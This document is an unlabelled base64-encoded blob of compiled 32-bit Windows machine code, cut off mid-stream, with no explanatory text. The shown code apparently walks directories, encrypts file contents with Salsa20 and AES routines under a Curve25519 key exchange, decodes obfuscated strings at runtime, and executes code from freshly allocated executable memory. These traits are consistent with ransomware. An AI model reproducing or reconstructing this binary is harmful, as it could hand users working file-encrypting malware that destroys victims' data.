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D/dfD/dej/dfjoiwoAAIPERFZX/3Xw/3X46H8YAABWi3XgV4t96FZX6HAYAACLTfCLw4td+IPEIIlF+IvXi0X0iUXoi0XkiUXwi0XsiUXgikX/AsCJVfSDbdgBiU3kiXXsiEX/D4Vl////iV3ci13US4Nt0AGJXdQPhUL///+LddyLfQhqFFnzpYt9DIvyahRZ86VfXluL5V3DVYvsgeyQAQAAjYUQ////Vlf/dQxQ6AkUAACNhRD///9QjYVg////UOj2EwAAjYVg////UI1FsFDo5hMAAP91DI1FsFCNhcD+//9Q6PULAACNhRD///9QjYXA/v//UI2FcP7//1Do2wsAAI2FcP7//1CNRbBQ6KkTAACNhcD+//9QjUWwUI2FEP///1DotAsAAIPERI2FEP///1CNRbBQ6H8TAACNRbBQjYVg////UOhvEwAAjYVg////UI1FsFDoXxMAAI1FsFCNhWD///9Q6E8TAACNhWD///9QjUWwUOg/EwAAjYUQ////UI1FsFCNhcD+//9Q6EoLAACNhcD+//9QjUWwUOgYEwAAjUWwUI2FYP///1DoCBMAAIPERGoEX4v3jYVg////UI1FsFDo8BIAAI1FsFCNhWD///9Q6OASAACDxBCD7gF12I2FwP7//1CNhWD///9QjYUQ////UOjgCgAAjYUQ////UI1FsFDorhIAAI1FsFCNhWD///9Q6J4SAACDxBxqCV6NhWD///9QjUWwUOiIEgAAjUWwUI2FYP///1DoeBIAAIPEEIPuAXXYjYUQ////UI2FYP///1CNRbBQ6HsKAACNRbBQjYVg////UOhJEgAAjYVg////UI1FsFDoORIAAIPEHI1FsFCNhWD///9Q6CYSAACNhWD///9QjUWwUOgWEgAAg8QQg+8BddiNhcD+//9QjUWwUI2FEP///1DoGQoAAI2FEP///1CNRbBQ6OcRAACNRbBQjYVg////UOjXEQAAg8Qcahhei/6NhWD///9QjUWwUOi/EQAAjUWwUI2FYP///1DorxEAAIPEEIPvAXXYjYUQ////UI2FYP///1CNhcD+//9Q6K8JAACNhcD+//9QjYVg////UOh6EQAAjYVg////UI1FsFDoahEAAIPEHGoxX41FsFCNhWD///9Q6FQRAACNhWD///9QjUWwUOhEEQAAg8QQg+8BddiNhc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gL8ol3TIlPSF9eW13DVYvsgezIAQAAVot1GFdqFFn/dRyNvYD+////dRjzpehwDQAAjYWA/v//UP91HOjM/P//i3Ugjb2A/v//ahRZ/3Uk86X/dSDoSA0AAI2FgP7//1D/dSTopPz///91HI2F0P7///91IFDoJQIAAP91JI2FaP////91GFDoEwIAAI2F0P7//1Do6QcAAI2F0P7//1DoyQYAAIPEQI2FaP///1DozgcAAI2FaP///1DorgYAAGoUWY2FaP///1CNhdD+//+NtdD+//+NvYD+///zpVDovgwAAI2FgP7//1CNhWj///9Q6Bb8//+NhdD+//9QjYU4/v//UOgoCQAAjYVo////UI2F0P7//1DoFQkAAP91KI2F0P7//1CNhWj///9Q6G0BAACNhWj///9Q6EMHAACNhWj///9Q6CMGAACLfRCNtTj+//9qFFnzpYt9FI2FOP7//2oUWf91GI21aP////OlUOi8CAAAg8REjYVo/////3UcUOiqCAAAjYVo////UI2FOP7//1D/dQjoAgEAAP91COjcBgAA/3UI6MAFAACNhTj+//9QjYVo////UOhM+///akiNhSD///9qAFDo76///4PEMDP2agBoQdsBAP+0NWz/////tDVo////6MwoAACJhDXQ/v//iZQ11P7//4PGCIP+UHLQjYXQ/v//UOhcBQAAjYU4/v//UI2F0P7//1DofQsAAI2F0P7//1CNhWj///9Q/3UM6GUAAAD/dQzoPwYAAP91DOgjBQAAg8QgX16L5V3DVYvsgeyYAAAAjYVo////Vlf/dRD/dQxQ6C8AAACNhWj///9Q6AUGAACNhWj///9Q6OUEAACLfQiNtWj///+DxBRqFFnzpV9ei+Vdw1WL7ItNCFOLXQxWV4t9EIsD9y+JAYlRBItDCPcvi8iL8osD928IA8iLRQgT8olICIlwDItDCPdvCIvIi/KLA/dvEA+kzgEDyQPIi0MQE/L3LwPIi0UIE/KJSBCJcBSLA/dvGIvIi/KLQwj3bxADyItDEBPy928IA8iLQxgT8vcvA8iLRQgT8olIGIlwHItDGPdvCIvIi/KLQwj3bxgDyItDEBPy928QD6TOAQPJA8iLQyAT8vcvA8iLAxPy928gA8iLRQgT8olIIIlwJIsD928oi8iL8otDCPdvIAPIi0MYE/L3bxADyItDIBPy928IA8iLQygT8vcvA8iLQxAT8vdvGAPIi0UIE/KJSCiJcCyLQxj3bxiLyIvyi0Mo928IA8iLQwgT8vdvKAPIi0MgE/L3bxAPpM4BA8kDyIsDE/L3bzADyItDMBPy9y8DyItDEBPy928gA8iLRQgT8olIMIlwNItDGPdvIIvIi/KLQxD3bygDyItDKBPy928QA8iLQzAT8vdvCAPIi0MgE/L3bxgDyBPyiwP3bzgDyItDCBPy928wA8iLQzgT8vcvA8iLRQgT8olIOIlwPItDOPdvCIvIi/KLQwj3bzgDyItDGBPy928oA8iLQygT8vdvGAPIi0MQE/L3bzAPpM4BA8kDyItDIBPy928gA8iLAxPy929AA8iLQzAT8vdvEAPIi0NAE/L3LwPIi0UIE/KJSECJcESLQyD3byiLyIvyi0NA928IA8iLAxPy929IA8iLQ0gT8vcvA8iLQwgT